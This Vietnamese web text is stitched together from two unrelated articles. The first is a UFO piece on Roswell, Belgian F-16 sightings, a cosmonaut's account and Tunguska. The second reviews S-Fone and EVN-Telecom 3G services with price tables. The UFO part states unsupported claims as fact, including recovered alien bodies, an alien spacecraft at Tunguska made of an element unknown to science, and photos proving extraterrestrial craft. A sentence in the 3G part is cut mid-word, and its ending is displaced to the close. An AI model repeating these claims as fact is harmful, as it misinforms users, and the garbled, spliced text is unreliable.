Ba tổ chức nghiên cứu vật thể bay không xác định MUFON, KUFOS và FUFOR đã công bố lời kêu gọi tham gia vào sáng kiến quốc tế, nhằm kêu gọi chính phủ các nước hàng đầu thế giới, trước hết là Mỹ, mở những tài liệu mật về người ngoài hành tinh, để nhân loại, cuối cùng cũng được biết rằng chúng ta không đơn độc trong vũ trụ.

Đĩa bay bị vỡ

Tài liệu được phổ biến trên báo chí mang tên gọi Tuyên bố Rosvell, bởi ở chính địa điểm nhỏ bé Rosvell gần nửa thế kỷ trước đây đã xảy ra thảm hoạ vũ trụ. Lúc đó trong sa mạc ở Tây Nam nước Mỹ đã xảy ra cuộc đụng độ, có thể ảnh hưởng đáng kể đến số phận của nhân loại. Điều này được giới quân sự thông báo, nhưng sau đó họ lại phủ nhận chính mình.

Vào đầu tháng 7/1947 người nông dân tên là Mac Brazel, sống ở New-Mexico, ra sân vào lúc sáng sớm để kiểm tra đàn cừu sau cơn dông ban đêm. Ông đã phát hiện ra những mảnh vỡ khác thường.

Chiều dài của chúng phải đến hàng trăm mét, chúng đã làm thành những vệt rãnh đều đặn trên mặt đất và nằm xung quanh với số lượng lớn. Brazel nhặt vài mảnh, định cho hàng xóm xem và đưa cho cảnh sát trưởng Jorjơ Vipcocs.

Cảnh sát trưởng đã liên lạc với căn cứ không quân ở Rosvell. Khi tới hiện trường, giới quân sự đã gạt hết cảnh sát ra ngoài, bao vây một vòng dày đặc quanh khu vực và đưa đi tất cả những gì được tìm thấy ở đó.


(Ảnh: BBC)
Họ chở những mảnh này về Rosvell, sau đó dùng máy bay B-29 và S-54 chuyển chúng tới một địa điểm ở bang Ohio.

Tại căn cứ ở Rosvell lúc bấy giờ có trung đoàn máy bay ném bom số 509, lần đầu tiên được trang bị bom nguyên tử. Sáng ngày 8/7/1947 chỉ huy trung đoàn- đại tá Wiliam Blankhard đã ra lệnh chuyển cho báo chí thông báo về việc đã phát hiện được các bộ phận của chiếc “đĩa bay bị vỡ”.

Ngay ngày hôm đó hơn 30 tờ báo buổi chiều của Mỹ đã đăng thông báo này trong mục tin tức gây chấn động. Vài giờ sau, từ văn phòng của tướng Rojer Romey - chỉ huy trưởng lữ đoàn không quân số 8 đóng tại Vort ở Tezas, cách xa địa điểm tai nạn đĩa bay hơn 700 km, đã có thông báo thứ hai.

Trong thông báo nói rằng sự việc đã bị thổi phồng, rằng trên thực tế đại tá Blankhard đã phạm phải “điều dại dột khó tin”, khi nhận bừa khinh khí cầu bình thường trên ra đa của mình là các bộ phận của thân đĩa bay bị rơi.

Hoàn toàn thấy rõ rằng, một trong hai thông báo trên báo chí này không phải là sự thật.

Nhân chứng là ai?

Những người cùng làm việc với Wiliam Blankhard và biết rõ ông đều khẳng định, rằng ông là người nghiêm túc và là người của công việc, chứ không phải là kẻ ngu xuẩn nào đó, như người ta nói về ông trong thời gian thông báo thứ hai.

Nếu như ông không tin tưởng hoàn toàn chắc chắn vào việc: Sự kiện bi kịch và khó tin đã xảy ra với chiếc đĩa bay bị vỡ, thì ông đã không bao giờ lại cho ra một thông báo như vậy cho báo chí.

Toàn bộ đường công danh sau này của Wiliam Blankhard xác nhận tính chính xác của những kết luận về ông: sau này ông đã lên đến cấp tướng bốn sao và là phó tham mưu trưởng không quân Mỹ.

Nhân chứng đầu tiên, người đã tham gia vào việc nghiên cứu là trung tá phản gián của trung đoàn máy bay ném bom 509 ở Rosvell- Joze Marsel.

Ông là chuyên gia thuần thục, có uy tín cao và là một trong hai sĩ quan có mặt đầu tiên tại hiện trường tai nạn. Trong một lần trả lời phỏng vấn trong năm 1979, Marsel đã tuyên bố chắc chắn: “Đó không phải là khinh khí cầu”.

Khi kể về vật liệu được tìm thấy, ông nhận xét: “Nó không bắt lửa…Chất này gần như không nặng mấy và nó cũng chẳng dày hơn tờ giấy kim loại bọc thuốc lá chút nào. Khi tôi thử bẻ cong nó, nó chẳng bị cong. Lúc ấy chúng tôi đã dùng chiếc búa 8 kg để đục thủng một lỗ trên nó mà không ăn thua gì, vật liệu này không hề bị tác động”.


Hình mặt sinh vật lạ. (Ảnh UFO log, VTC)

Thật khó mà tưởng tượng một con người được đào tạo và có trình độ nghiệp vụ như Joze Marsel, thêm vào đó còn là sĩ quan phản gián của trung đoàn không quân duy nhất trên thế giới vào lúc bấy giờ có bom nguyên tử trong trang bị lại có thể nhầm lẫn khinh khí cầu khí tượng với đĩa bay. Mà không chỉ trên màn hình ra đa, mà cả sau đó trên mặt đất.

Kết luận của ông chỉ dẫn đến một điều: “Những phần vỏ còn lại này có xuất xứ không phải từ Trái đất”.

Không thể nghi ngờ trình độ chuyên môn của nhân chứng này, bởi sau này, cùng việc thực hiện hàng loạt nhiệm vụ nhà nước quan trọng, ông đã tham gia vào việc chuẩn bị báo cáo mật về vụ nổ nguyên tử đầu tiên ở Liên Xô.

Báo cáo này đã trực tiếp nằm trên bàn làm việc của tổng thống Mỹ Truman.

Chỉ đến năm 1992, nguyên nhân thực sự của việc xuất hiện thông báo thứ hai trên báo chí của giới quân sự, bãi bỏ thông báo đầu tiên, mới được sáng tỏ.

Trước khi chết, tướng Tomas de Bose đã thú nhận rằng năm 1947 tại căn cứ không quân của lữ đoàn số 8 ở Texas đích thân ông đã nhận qua điện thoại mệnh lệnh của tướng Klemens Macmillan từ Washington về việc cần phải che giấu sự kiện “đĩa bay bị rơi”.

Trong chỉ thị cho tướng Romey người ta đề nghị phải nghĩ ra “những lý do để che đậy vấn đề này, để báo chí rời bỏ chúng ta”.

Năm 1990 cả tướng Artur E. Ecxon- năm 1947 ông mới chỉ là trung uý và đã tham gia vào việc thử nghiệm vật liệu mảnh đĩa bay vỡ ở phòng thí nghiệm bang Ohio cũng bắt đầu lên tiếng. Theo khẳng định của ông, mọi thử nghiệm có thể đều đã được tiến hành: các phân tích hoá học, cắt đứt, uốn cong, nén, ép… Tất cả những ai tham gia vào các cuộc thử nghiệm này đều thống nhất đi đến kết luận rằng vật liệu này đến với Trái đất từ vũ trụ.

Xác chết kỳ lạ

Glenn Dennis là một người xử lý xác chết hiện nay ông vẫn sống ở ngoại ô Rosvell. Là một doanh nhân khả kính và tham gia công việc của xã hội, ông có chính kiến của mình và không nghiêng về những điều bịa đặt. Trước đây, khi còn trai trẻ Glenn đã làm việc tại nhà xác và xử lý các xác chết. Cơ sở này đã có hợp đồng với không quân Mỹ về việc trợ giúp xử lý xác chết.

Ngay từ trước khi ông được biết về những bí mật của đĩa bay bị vỡ, từ đơn vị không quân viên sĩ quan chuyên về vấn đề mai táng đã gọi điện cho ông và hỏi: phải bảo quản các xác chết đã ở trong những điều kiện khí quyển ngoài trời mấy ngày rồi như thế nào là tốt nhất?

Chiều hôm đó Glenn đến quân y viện của đơn vị có việc gì đó. Cạnh cửa phụ từ phía ngược lại của toà nhà ông nhìn thấy hai nhân viên quân sự của phòng thí nghiệm. Họ đang mang những vật lạ nào đó, trên bề mặt của chúng có những biểu tượng lạ lùng.

Vừa bước vào quân y viện ông gặp ngay cô y tá quen biết. Định nói chuyện với cô một lát, thì ngay lúc đó ông bị cảnh sát quân sự phát hiện và bị họ đuổi ra khỏi toà nhà.

Ngày hôm sau Glenn gặp cô y tá trong thành phố. Cô đã kể cho Glenn, chuyện gì dã xảy ra trong quân y viện. Vốn là người theo tôn giáo điềm đạm và bình tĩnh, vậy mà vào thời điểm đó cô gần như bị chấn động thần kinh.

Cô kể người ta ra lệnh cho cô trợ giúp hai bác sĩ, những người đang xử lý vài vật thể nhỏ bé, không phải con người. Cô nhìn thấy: một vật thể ở trong tình trạng không tồi, còn những vật khác bị phân nhỏ ra, bởi vậy có thể nhận thấy rõ những khác biệt về giải phẫu với con người.

Thậm chí cô còn phác hoạ lên chiếc khăn giấy, những phần thi thể riêng biệt của các sinh vật này trông như thế nào. Glenn sau này không còn gặp được cô nữa, hai ngày sau đó cô bị điều động khẩn cấp sang làm việc ở Anh.

Bí mật bằng mọi giá

Phần chủ yếu của đĩa bay bị vỡ rơi ở gần trang trại của Brazel. Nhưng, như sau này được xác định, những nhà nghiên cứu quân sự còn tìm được một phần nữa cách xa nơi ở. Theo xác nhận của những người chứng kiến, tại địa điểm đó còn phát hiện được các vật thể lạ. Phần lớn nhân chứng cho đến giờ vẫn cảm thấy sợ hãi trước hình phạt từ phía chính quyền.

Không chỉ Glenn Dennis, mà những người khác cũng bị đe doạ trừng phạt về thể xác. Theo lời các thành viên gia đình của cảnh sát trưởng Vipcocs, nhân những sự kiện này Vipcocs đã cảnh báo vợ, rằng ông và cả gia đình sẽ bị chết, nếu như ông có ý định nói ra điều mình đã nhìn thấy vào bất cứ khi nào.

Giới quân sự đã bắt giữ Mac Brazel cả một tuần và chỉ thả ông ra, sau khi ông thề giữ bí mật. Ông không nói với gia đình về đĩa bay bị vỡ thêm một lần nào nữa trong đời.

Các nhà quân sự đã thu của ông tất cả những gì ông đã nhặt tại địa điểm tai nạn và muốn cho hàng xóm xem. Sau đấy mấy tháng họ cũng tịch thu nốt những mẩu vỡ nhỏ của đĩa bay mà con trai ông đã tìm thấy và tập trung lại ở ngoài đồng.

Thêm những tia sáng

Soi sáng thêm cho toàn bộ câu chuyện này là những tài liệu được Bộ quốc phòng Bỉ công bố năm 1991. Đó là những bằng chứng ra đa của hai chiếc máy bay tiêm kích F- 16 của không quân Bỉ, được lệnh theo dõi vật thể bay không xác định.

Thêm vào đó là những số liệu của 4 ra đa quân sự trên mặt đất, theo dõi tàu vũ trụ của người ngoài hành tinh. Cũng như nhiều tuyên bố của các công dân và cảnh sát.

Vào lúc bấy giờ các ra đa của căn cứ không quân của Bỉ đã ghi nhận được vật thể bay không xác định. Các máy bay tiêm kích- đánh chặn F- 16 đã cất cánh. Khi máy bay tới gần vật thể bay, nó đột ngột tăng tốc và nhanh chóng thoát khỏi những chiếc máy bay truy kích. Vật thể lạ chuyển động với tốc độ chưa từng thấy.

Theo lời tướng Vilfred de Brover của NATO, không một phi công nào trên thế giới có thể chịu được sự quá tải xuất hiện khi chuyển động với tốc độ như vậy. Các chuyên gia của Bỉ từ NATO cho rằng vật thể rõ ràng có xuất xứ ngoài trái đất

chuyen la co that ve dia bay

Gần đây, các phi công vũ trụ Nga tiết lộ họ đã từng chứng kiến và tin chắc có đĩa bay của nền văn minh ngoài hành tinh. Nhưng lâu nay họ phải giữ kín chuyện đó.

Tiết lộ của các phi công vũ trụ Nga...

Chỉ có phi công vũ trụ Nga Kovalenok - 2 lần Anh hùng Liên Xô - là người duy nhất cả gan tiết lộ bí mật này. Trong những năm 1977 đến năm 1982, tính tổng cộng, Kovalenok đã có mặt trên Trạm quỹ đạo 216 ngày 9 giờ 9 phút 40 giây sau 3 lần bay lên vũ trụ.

Theo Kovalenok, anh đã từng nhiều lần nhìn thấy đĩa bay lướt qua trước mắt và đã không ít lần phải sửng sốt đến kinh ngạc. Trong chuyến bay thứ ba lên vũ trụ từ ngày 12/3/1981 trên tàu Liên Hợp T-4, Kovalenok nhìn thấy một chiếc đĩa bay bám theo và nổ tung đằng sau con tàu do anh điều khiển.

Kovalenok kể: “Tôi không bao giờ quên trường hợp bất ngờ xuất hiện một vật thể bay kỳ lạ. Hết thảy chúng tôi đang bay trên trạm quỹ đạo lúc đó đều nhìn thấy và chăm chú quan sát. Vật lạ đó có kích thước không lớn lắm.

Tôi là người đầu tiên phát hiện ra đĩa bay và điện báo ngay cho Savinykh - Kỹ sư máy tàu. Savinykh bấm video camera thì vật bay lạ đó nổ tung, chỉ để lại một đám mây gồm hai phần có hình dạng giống như hai nửa quả tạ mà chúng tôi vẫn dùng để tập thể dục cơ bắp vào buổi sáng hàng ngày trên trạm quỹ đạo.

Ngay lúc đó, chúng tôi liên lạc với Trung tâm điều khiển bay trên mặt đất và thông báo về những gì chúng tôi quan sát được. Chúng tôi không biết điều gì đã xảy ra trong ngày hôm đó nhưng có thể khẳng định chắc chắn một điều rằng vật bay lạ đó là có thật.

Chúng tôi không nhận được trả lời từ Trung tâm. Nhưng trong ngày hôm đó, Trung tâm khẳng định đã xảy ra một chuyện rất kỳ lạ: Các chuyên gia điều khiển bay đã ghi nhận được một luồng bức xạ rất mạnh phát ra vào thời điểm trùng với lúc vật bay lạ nổ tung bên cạnh trạm quỹ đạo mà chúng tôi đã chứng kiến”.

Chứng cứ của Trung tâm Vũ trụ quốc gia Anh

Trung tâm Vũ trụ Quốc gia Anh cũng tiết lộ các cứ liệu do camera quan sát Soho (Solar And Heliospheric Observatory) lắp trên tàu quan sát lúc đang bay cách bề mặt Trái đất nhiều triệu kilômét.

Trên các bức ảnh do Soho ghi lại, có thể nhìn thấy rất rõ hình ảnh các vật bay lạ mà các nhà khoa học thiên văn khẳng định rằng đó không phải là ảnh chụp các ngôi sao mà là dấu vết của các đĩa bay.


Phi công vũ trụ Nga Kovalenok - Người tiết lộ bí mật đĩa bay (Ảnh: astronaut.ru)

Michael Muyrrey - Người thành lập nhóm chuyên gia nghiên cứu các vật bay lạ mang tên Euroset - nhận xét, vì các bức ảnh đó chụp trong khoảng không bên ngoài khí quyển Trái đất nên có thể khẳng định có một nền văn minh khác phát triển rất cao tồn tại bên ngoài hành tinh chúng ta.

Căn cứ vào quỹ đạo di chuyển các vật bay đó, có thể thấy chúng được các thực thể có trí tuệ điều khiển. Một doanh nhân người Tây Ban Nha xin được giấu tên đã bí mật kết nối ăngten thu tín hiệu vệ tinh vào hệ thống mạng quan sát vũ trụ Soho và đã thu được các hình ảnh do trạm này chụp được về các vật thể lạ trong vũ trụ. Ông đã giấu kỹ các bức ảnh đó và không công bố.

Báo cáo của Bộ chỉ huy Bắc Mỹ gửi Tổng thống G.Bush

Bộ chỉ huy phòng thủ vũ trụ liên hợp Bắc Mỹ NORAD phát hiện ra những vệt sáng bí ẩn trên bầu trời khi đang khảo sát khí quyển. Những vệt sáng đó xuất hiện trên các đảo Terks và Kaykos thuộc vùng biển Caribe, chuyển động theo hướng Tây - Bắc hướng về phía lãnh thổ Hoa Kỳ.

Ban đầu, các sỹ quan quân đội làm việc trong NORAD cho rằng đó là vết tích của động cơ máy bay phản lực bay qua vùng đó. Nhưng chính các phi công một hãng hàng không dân dụng thông báo họ cũng nhìn thấy dấu vết tương tự trên bầu trời các bang Indian và Florida.

Ngay lập tức, NORAD phát lệnh báo động cho các máy bay chiến đấu cất cánh từ các sân bay quân sự của Mỹ. Thật kỳ lạ, các trạm radar trên máy bay không thể phát hiện được các vật thể đã từng để lại dấu vết bí ẩn trên bầu trời.

Các chuyên gia quân sự Mỹ cũng không thể nào giải thích được vật thể nào đã bay qua bầu trời và để lại dấu ấn bí ẩn đó. NORAD báo cáo sự việc lên cấp chỉ huy cao nhất của Mỹ, kể cả Tổng thống G.Bush.

Tới kết quả khảo sát hiện tượng đĩa bay rơi ở Tugunsk

Gần đây, một nhóm gồm 12 nhà khoa học và các nhà địa chất học Nga đã tiến hành một cuộc thám hiểm khu vực Tugunsk (Nga), nơi cách đây gần 100 năm một thiên thạch đã nổ tung ở làng Vanavara, để lại dấu vết là một khu vực rộng lớn bị tàn phá giống hệt như sau một vụ ném bom nguyên tử công suất siêu mạnh.

Cuộc khảo sát đầu tiên về vụ nổ kỳ lạ này được tiến hành vào năm 1927 và sau đó đã có nhiều cuộc khảo sát khác nhưng từ đó đến nay chưa ai phát hiện ra nhân chứng vật chứng về hiện tượng kỳ bí đó.

Đã có tới 30 giả thuyết khoa học được đưa ra để giải thích “hiện tượng Tugunsk” nhưng chưa một giả thuyết nào đủ sức thuyết phục. Lần này, các nhà khoa học Nga đã tìm thấy một số mảnh vỡ của một con tàu vũ trụ được coi là của nền văn minh ngoài Trái đất va chạm vào thiên thạch và buộc nó nổ tung khi còn cách bề mặt Trái đất hàng chục kilômét.

Theo kết quả phân tích ban đầu, thành phần vật liệu kết cấu của con tàu vũ trụ ngoài hành tinh này là hợp kim gồm silic, sắt và một chất liệu khác mà khoa học chưa từng biết tới dựa vào bảng tuần hoàn các nguyên tố hoá học của Mendeleev.

Các nhà khoa học Nga đang nghiên cứu bí quyết công nghệ gia công loại vật liệu này. Kết quả nghiên cứu của các nhà khoa học Nga đã được ông Labvin - Chủ tịch Quỹ Xã hội Quốc gia Siberi mang tên “Hiện tượng vũ trụ Tungusk” tiết lộ với giới báo chí.

Điều đáng lưu ý là gần đây các nhà khoa học Nga đã tổng hợp được một loại vật chất hoàn toàn mới, gọi là siêu nguyên tử, cấu tạo từ những nguyên tử có trong bảng tuần hoàn Mendeleev nhưng lại có tính các tính chất vật lý và hoá học rất kỳ lạ, khác hẳn các vật liệu mà loài người được biết đến. Thí dụ, số nguyên tử tạo nên các siêu nguyên tử không phải là ngẫu nhiên mà là các số 8, 20, 40, 58 hoặc 92.

Các nhà khoa học gọi những con số đó là số ma bởi tính chất rất bí ẩn của nó. Có thể dùng siêu nguyên tử để tạo ra những vật liệu hoàn toàn mới và các loại nhiên liệu có hiệu suất sử dụng cao đến mức kỷ lục từ xưa tới nay. Phải chăng, đó là vật liệu đã từng được nền văn minh ngoài Trái đất sử dụng để chế tạo nên đĩa bay?

3G

3G là gì? Đó là một tập hợp các tiêu chuẩn và công nghệ viễn thông quốc tế nhằm tăng cường hiệu quả và chất lượng của điện thoại di động với các ưu điểm như: truyền dữ liệu băng rộng vô tuyến ở tốc độ lên đến 2,4 Mbps nhanh gấp 46 lần so với công nghệ GPRS...

Trong cuộc sống ngày nay, ĐTDĐ là một vật không thể thiếu đối với nhiều người. Công nghệ hiện đại đã khiến cho việc truyền tin ngày càng đa dạng hơn, không chỉ để thông tin liên lạc mà còn để phục vụ cho các nhu cầu trong cuộc sống như: xem phim, tivi, nghe nhạc, duyệt web, thoại video, gửi hình ảnh – âm thanh, định vị GPS, rút tiền từ máy ATM, thanh toán tiền mua hàng hóa - dịch vụ, mua hàng từ máy bán hàng tự động, v.v... và tiêu chuẩn duy nhất có thể đáp ứng được điều này là 3G (third-generation technology).

Vậy 3G là gì? Đó là một tập hợp các tiêu chuẩn và công nghệ viễn thông quốc tế nhằm tăng cường hiệu quả và chất lượng của điện thoại di động với các ưu điểm như: truyền dữ liệu băng rộng vô tuyến ở tốc độ lên đến 2,4 Mbps nhanh gấp 46 lần so với công nghệ GPRS của hệ thống GSM mà các mạng Vinaphone, Mobifone và Viettel Mobile đang sử dụng; chất lượng âm thanh được cải thiện tốt hơn, cho phép nhà cung cấp dịch vụ viễn thông triển khai các hệ thống mạng tiên tiến với các ứng dụng thoại, và truyền nhận dữ liệu băng thông rộng trên ĐTDĐ thay thế dần các hệ thống mạng chuyển mạch tương tự truyền thống băng thông thấp đang lỗi thời.


Có nhiều công nghệ để xây dựng một hệ thống hạ tầng viễn thông đạt chuẩn 3G như: WCDMA (Wideband Code Division Multiple Access), CDMA2000 (Code Division Multiple Access 2000), UMTS (Universal Mobile Telecommunications System) và EDGE (Enhanced Data for Global Evolution), nhưng ở Việt Nam cho đến thời điểm hiện nay thì chỉ có 3 nhà cung cấp dịch vụ viễn thông chọn công nghệ CDMA 2000 1x EV-DO để xây dựng hệ thống mạng 3G là: S-Fone - 095, EVN-Telecom - 096, và HT Mobile – 092 của Hà Nội Telecom.

Trước mắt, mạng HT Mobile còn đang trong giai đoạn thử nghiệm với chương trình mang tên “Chào đón một thế giới FREE” trên hệ thống mạng CDMA 2000 1x EV-DO (Code Division Multiple Access 2000 1x Evolution - Data Optimized) tiên tiến được đầu tư trang bị ngay từ đầu, nhưng chưa chính thức đưa ra sản phẩm dịch vụ dựa trên nền tảng công nghệ 3G (gọi tắt là dịch vụ 3G) nào cả.

Chỉ có mạng S-Fone và EVN-Telecom là đã chính thức hoạt động và đang nâng cấp dần hệ thống hạ tầng của mình từ CDMA 2000 1x băng thông 307Kbps eo hẹp lên CDMA 2000 1x EV-DO có tốc độ truyển dữ liệu 2,4Mbps rộng rãi hơn. Trong đó S-Fone triển khai các dịch vụ 3G tại 5 thành phố lớn: Hồ Chí Minh, Hà Nội, Đà Nẵng, Hải Phòng, Cần Thơ, còn EVN-Telecom hiện đang thử nghiệm dịch vụ 3G tại TP Hồ chí Minh. Cả 2 mạng này đều triển khai gói dịch vụ Mobile Internet trên ĐTDĐ CDMA nhưng S-Fone có lợi thế nhiều hơn với 2 gói dịch vụ 3G nữa là VOD (Video On Demand) và MOD (Music On Demand).

Mobile Internet cho phép người dùng có thể kết nối internet băng thông rộng, khi đang di chuyển ở tốc độ cao trực tiếp từ máy điện thoại di động CDMA của mình (đối với máy hỗ trợ duyệt internet), hoặc thông qua máy vi tính với cáp và trình điều khiển chuyên dụng, rất thích hợp với những người thường xuyên đi công tác, doanh nhân, hoặc những nơi không kéo được cáp.


Tốc độ truyền tải dữ liệu thực tế trên chính máy ĐTDĐ và dịch vụ Mobile Internet của S-Fone là 2.17Mbps, một tốc độ khá cao so với ADSL 2Mbps và kết nối Dial up 56Kbps truyền thống. Tuy nhiên, cũng như các dịch vụ ADSL khác, Mobile Internet của S-Fone không phải lúc nào cũng duy trì ổn định được tốc độ kết nối ở mức này, độ ổn định còn kém và đôi lúc có phần thấp hơn so với dịch vụ ADSL phổ biến hiện nay. Trong khi đó, tốc độ thử nghiệm thực tế trên sản phẩm của EVN-Telecom cũng xấp xỉ tương tự mặc dù đôi lúc có vẻ thấp hơn. Qua các thử nghiệm thực tế ta thấy tốc độ kết nối internet của EVN-Telecom có vẻ yếu thế hơn so với S-Fone, tuy nhiên tốc độ chưa phải là yếu tố quyết định mà còn phải xem chính sách phục vụ và giá cước dịch vụ của 2 nhà cung cấp này như thế nào?

Mobile Intenet được tự động đăng ký miễn phí cho cả hai loại thuê bao trả trước/trả sau của S-Fone, ngay khi người dùng đăng ký thuê bao mới với một loạt danh sách 28 thiết bị đầu cuối và cáp hỗ trợ, chủ yếu là dịch vụ Mobile Internet, chỉ có duy nhất 1 model ĐTDĐ Samsung F363 do S-Fone cung cấp là có thể sử dụng dịch vụ VOD và MOD mà thôi. Thêm vào đó, giá một sợi cáp kết nối giữa máy vi tính và máy di động của S-Fone để truy cập internet khá cao, trung bình khoảng 180.000 có thể là một rào cản khá lớn khiến nChính sách hỗ trợ khách hàng của S-Fone thông qua Webportal http://www.sfone.com.vn/ được chúng tôi đánh giá rất cao như: danh sách máy di động hỗ trợ Mobile Internet, cung cấp trình điều khiển thiết bị, hướng dẫn cài đặt sử dụng dịch vụ rất cụ thể và chi tiết. Cước sử dụng dịch vụ Mobile Internet, VOD, MOD áp dụng cho các thuê bao trả trước và trả sau của S-Fone được tính bằng một công thức chung sau đây:

Cước dịch vụ = Cước truyền dữ liệu (*) + Cước nội dung (**)

(*) Cước truyền dữ liệu (đã có VAT): căn cứ vào dung lượng dữ liệu thực tế sử dụng, không phụ thuộc vào nội dung dữ liệu. Mức cước đối với VOD/MOD là 5 đồng/Kb và 4 đồng/Kb áp dụng cho Mobile Internet. Hoặc đăng ký một trong các gói cước sau đây để được dùng miễn phí cước truyền dữ liệu trong phạm vi dung lượng định sẵn của gói cước tương ứng, tuỳ thuộc vào khoản tiền đăng ký theo quy định của gói cước

Các gói cước truyền dữ liệu định sẵn của S-Fone

STT
Gói cước
Giá trị sử dụng
Mức cước
Thời hạn sử dụng

1
25.000VNĐ
35.000VNĐ
VOD/MOD: 5 VNĐ/KB
Mobi-Internet: 4VNĐ/KB
TB trả sau: 01tháng TB trả trước: không giới hạn thời gian sử dụng

2
50.000VNĐ
100.000VNĐ

3
100.000VNĐ
400.000VNĐ


(**) Cước nội dung (đã có VAT): chỉ áp dụng cho dịch vụ VOD/MOD

Bảng giá cước nội dung của S-Fone

Hình thức
Cước nội dung (đã bao gồm VAT)

VOD
MOD

Tải về
2.500VNĐ/nội dung
2.000VNĐ/bài hát

Nghe/xem trực tuyến
1.000VNĐ/nội dung
500VNĐ/bài hát

Nghe trực tiếp (Radio)
-
Miễn phí


Ngoài ra, S-Fone ưu đãi cho thuê bao trả sau được miễn phí một khoản cước dữ liệu hàng tháng tuỳ vào từng gói cước sử dụng (áp dụng cho cả dịch vụ VOD/MOD/Mobile Internet)

Cước dữ liệu miễn phí cho thuê bao trả sau của S-Fone

Gói dịch vụ
Cước truyền dữ liệu được miễn phí

STANDARD
25.000VNĐ/tháng

FREE 1
50.000VNĐ/tháng

VIP
100.000VNĐ/tháng


Nếu S-Fone tính cước dịch vụ theo dung lượng truyền tải dữ liệu thì EVN-Telecom lại tính cước dịch vụ dựa trên block thời gian kết nối với giá rẻ khá bất ngờ ở thời điểm hiện nay khi kết nối internet ở tốc độ lý thuyết 2.4Mbps qua điện thoại di động là 10.800 đồng/giờ (gần gấp đôi giá cước kết nối Dial up VNN 1269 mà băng thông lớn hơn gấp nhiều lần) , bạn hãy thử kiểm tra lại bằng bảng giá cước dịch vụ của EVN:

Cước dịch vụ = Cước truy cập internet (***) + Cước thoại (****)

(***) Cước truy nhập internet: 35 đ/phút

(****) Cước thoại: tùy theo gói dịch vụ đăng ký

Bảng giá cước thoại của EVN-Telecom

Gói dịch vụ đăng ký
Cước thoại

E-Mobile
145 đồng/phút

E-Phone
85 đồng/phút

E-Com
40 đồng/phút


Ngoài dịch vụ Mobile Internet nói trên thì S-Fone vượt qua đối thủ về số lượng dịch vụ với 2 gói dịch vụ VOD (Video On Demand) và MOD (Music On Demand) có tính năng vượt trội hơn về cả công nghệ lẫn sự tiện ích mang lại để khách hàng có thể thưởng thức trực tiếp trên máy di động, hoặc gửi làm quà tặng cho bạn bè.

VOD (xem phim theo yêu cầu) cho phép thuê bao trả trước/trả sau của S-Fone có thể xem phim hoặc các kênh truyền hình trực tiếp ngay trên máy điện thoại di động của mình với chất lượng hình ảnh và âm thanh tuy không thực sự rõ nét như xem ti vi nhưng có thể chấp nhận được, mặc dù thỉnh thoảng hình ảnh hơi bị nhòe. Người dùng có thể xem dưới 3 hình thức: Download (tải nội dung có trên máy chủ của nhà cung cấp về máy), Live Streaming (xem các chương trình truyền hình đang phát sóng) hoặc Streaming (xem trực tiếp nội dung có trên server) với giá cước khác nhau như đã nói ở trên. Mặc dù có thể nói S-Fone là đối thủ nặng ký nhất trên thị trường Việt Nam ở thời điểm hiện tại về các dịch vụ 3G (nếu không muốn nói là sự lựa chọn duy nhất), nhưng với cách tính cước hiện nay thì có thể S-Fone sẽ không giữ vững được vị trí của mình khi các đối thủ triển khai các dịch vụ tương tự trong thời gian sắp tới với giá cước cạnh tranh hơn. Nếu chỉ nhìn sơ qua phần cước truyền dữ liệu 5 VNĐ/KB thì người dùng bình thường có thể sẽ không đắn đo về giá cả, nhưng khi sử dụng thực tế họ sẽ phải chóng mặt với các tính cước trên. Thử làm một phép tính đơn giản ta sẽ thấy: để xem truyền hình trực tiếp một trận bóng đá dài khoảng 90 phút có dung lượng truyền tải khoảng 21.600KB thì chi phí theo dõi trận bóng đó là 21.600 x 5 + 1.000 (cước nội dung) = 109.000 đồng, chưa kể các tình huống đá hiệp phụ, đá luân lưu khi trận cầu trở nên gay cấn. Còn về nội dung, ngoài các kênh truyền hình trực tiếp thường được nhiều người xem như: HBO, AXN, V-Channel, Fashion TV, VTV3, HTV7 còn có nhiều bộ phim khá mới và hấp dẫn nhưng số lượng khá khiêm tốn, không được phong phú cho lắm.

Cũng như VOD, khách hàngS-Fone có thể biến “chú dế” của mình thành máy nghe nhạc MP3 sành điệu khi sử dụng dịch vụ MOD để thưởng thức các bài hát như: những ca khúc đang được ưa chuộng nhất, những ca khúc trữ tính lãng mạn, tha hồ thả hồn bay bổng theo điệu nhạc, hay cài đặt các bài hát đó làm Ringtone cho riêng mình, thậm chí là làm quà tặng âm nhạc gửi đến người thân và bạn bè là thuê bao của S-Fone.

Tuy nhiên chất lượng âm thanh không thể nào so sánh được với nghe trực tiếp trên các máy MP3 chất lượng cao do dung lượng các bài hát được nén nhỏ lại, số lượng bài hát cũng còn sơ sài, chưa phong phú lắm. Nhưng dù sao thì ở thời điểm mới triển khai dịch vụ thì những hạn chế này là không thể tránh khỏi và có thể chấp nhận được với một chiếc ĐTDĐ đa tính năng như vậy. Hy vọng rằng trong tương lai gần đây, những hạn chế trên sẽ được S-Fone khắc phục. Và một điều cần lưu ý là để sử dụng được 2 dịch vụ VOD/MOD của S-Fone thì người nhận phải sử dụng điện thoại CDMA của S-Fone hỗ trợ WAP 2.0 và VOD/MOD mà Sam Sung F363 là ứng cử viên duy nhất ở thời điểm hiện nay với giá gần 6 triệu đồng.

Có vẻ như các dịch vụ 3G đang chuẩn bị lên cơn sốt và các nhà cung cấp dịch vụ đang khẩn trương chạy đua chuẩn bị cho một cuộc chiến khốc liệt. Xét về mọi phương diện thì các dịch vụ 3G của S-Fone hơn hẳn EVN-Telecom về số lượng dịch vụ, nội dung, tốc độ truyền tải, hỗ trợ khách hàng thông qua Web Portal rất chu đáo và chi tiết. Tuy nhiên EVN-Telecom cũng có một số ưu điểm so với S-Fone là chính sách hỗ trợ giá cho người dùng và đòn chủ lực là giá cước Mobile Internet rẻ đến bất ngờ. Điểm mạnh và điểm yếu của cả S-Fone và EVN-Telecom đều đã thấy rõ, trên cơ sở đó làm sao để giữ vững và phát huy thế mạnh của mình cũng như khắc phục khuyết điểm để giành được thị phần khách hàng rất tiềm năng chưa được khai thác là câu trả lời dành cho S-Fone, EVN-Telecom và cả HT Mobile đang chuẩn bị chính thức tranh tài vào tháng 12 này. Còn ở thời điểm hiện nay, nếu bạn là người làm việc năng động hay di chuyển nhiều và kết nối internet để làm việc là một điều không thể thiếu của công việc thì EVN-Telecom đáng để bạn chọn sử dụng và tiếp tục chờ các dịch vụ 3G tiếp theo của họ.

Còn nếu như bạn là người đam mê các công nghệ mới và không quan tâm đến giá cả thì các dịch vụ VOD/MOD và Mobile Internet của S-Fone sẽ giúp bạn khẳng định đẳng cấp sành điệu của chính mình
gười dùng do dự.

